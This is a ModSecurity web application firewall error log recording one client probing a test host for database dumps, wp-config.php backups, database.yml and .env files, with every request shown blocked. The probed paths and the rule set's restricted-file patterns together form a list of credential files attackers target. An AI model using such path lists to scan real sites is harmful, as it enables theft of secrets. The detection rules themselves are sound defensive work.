[Sun Mar 15 10:47:11.641066 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mysql.sql"] [unique_id "abaAH1RPDbn7htWAttP2DwAAAAI"]
[Sun Mar 15 10:47:11.641187 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mysql.sql"] [unique_id "abaAH1RPDbn7htWAttP2DwAAAAI"]
[Sun Mar 15 10:47:11.663081 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sql.sql"] [unique_id "abaAH1RPDbn7htWAttP2EAAAAAI"]
[Sun Mar 15 10:47:11.663461 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sql.sql"] [unique_id "abaAH1RPDbn7htWAttP2EAAAAAI"]
[Sun Mar 15 10:47:11.663593 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sql.sql"] [unique_id "abaAH1RPDbn7htWAttP2EAAAAAI"]
[Sun Mar 15 10:47:11.685649 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db_backup.sql"] [unique_id "abaAH1RPDbn7htWAttP2EQAAAAI"]
[Sun Mar 15 10:47:11.686037 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db_backup.sql"] [unique_id "abaAH1RPDbn7htWAttP2EQAAAAI"]
[Sun Mar 15 10:47:11.686178 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db_backup.sql"] [unique_id "abaAH1RPDbn7htWAttP2EQAAAAI"]
[Sun Mar 15 10:47:11.708048 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old.sql"] [unique_id "abaAH1RPDbn7htWAttP2EgAAAAI"]
[Sun Mar 15 10:47:11.708412 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old.sql"] [unique_id "abaAH1RPDbn7htWAttP2EgAAAAI"]
[Sun Mar 15 10:47:11.708546 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old.sql"] [unique_id "abaAH1RPDbn7htWAttP2EgAAAAI"]
[Sun Mar 15 10:47:11.730645 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abaAH1RPDbn7htWAttP2EwAAAAI"]
[Sun Mar 15 10:47:11.730859 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abaAH1RPDbn7htWAttP2EwAAAAI"]
[Sun Mar 15 10:47:11.730994 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abaAH1RPDbn7htWAttP2EwAAAAI"]
[Sun Mar 15 10:47:11.752917 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abaAH1RPDbn7htWAttP2FAAAAAI"]
[Sun Mar 15 10:47:11.753156 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abaAH1RPDbn7htWAttP2FAAAAAI"]
[Sun Mar 15 10:47:11.753358 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abaAH1RPDbn7htWAttP2FAAAAAI"]
[Sun Mar 15 10:47:11.753495 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abaAH1RPDbn7htWAttP2FAAAAAI"]
[Sun Mar 15 10:47:11.775653 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abaAH1RPDbn7htWAttP2FQAAAAI"]
[Sun Mar 15 10:47:11.775844 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abaAH1RPDbn7htWAttP2FQAAAAI"]
[Sun Mar 15 10:47:11.775975 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abaAH1RPDbn7htWAttP2FQAAAAI"]
[Sun Mar 15 10:47:11.798219 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abaAH1RPDbn7htWAttP2FgAAAAI"]
[Sun Mar 15 10:47:11.798439 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abaAH1RPDbn7htWAttP2FgAAAAI"]
[Sun Mar 15 10:47:11.798569 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abaAH1RPDbn7htWAttP2FgAAAAI"]
[Sun Mar 15 10:47:11.890028 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abaAH1RPDbn7htWAttP2GgAAAAI"]
[Sun Mar 15 10:47:11.890230 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abaAH1RPDbn7htWAttP2GgAAAAI"]
[Sun Mar 15 10:47:11.890396 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.yml"] [unique_id "abaAH1RPDbn7htWAttP2GgAAAAI"]
[Sun Mar 15 10:47:11.912681 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.yml"] [unique_id "abaAH1RPDbn7htWAttP2GwAAAAI"]
[Sun Mar 15 10:47:11.912963 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.yml"] [unique_id "abaAH1RPDbn7htWAttP2GwAAAAI"]
[Sun Mar 15 10:47:11.913123 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.yml"] [unique_id "abaAH1RPDbn7htWAttP2GwAAAAI"]
[Sun Mar 15 10:47:12.050175 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abaAIFRPDbn7htWAttP2IQAAAAI"]
[Sun Mar 15 10:47:12.051016 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abaAIFRPDbn7htWAttP2IQAAAAI"]
[Sun Mar 15 10:47:12.051153 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abaAIFRPDbn7htWAttP2IQAAAAI"]
[Sun Mar 15 10:47:12.073277 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abaAIFRPDbn7htWAttP2IgAAAAI"]
[Sun Mar 15 10:47:12.073470 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abaAIFRPDbn7htWAttP2IgAAAAI"]
[Sun Mar 15 10:47:12.073610 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "abaAIFRPDbn7htWAttP2IgAAAAI"]
[Sun Mar 15 10:47:12.095762 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abaAIFRPDbn7htWAttP2IwAAAAI"]
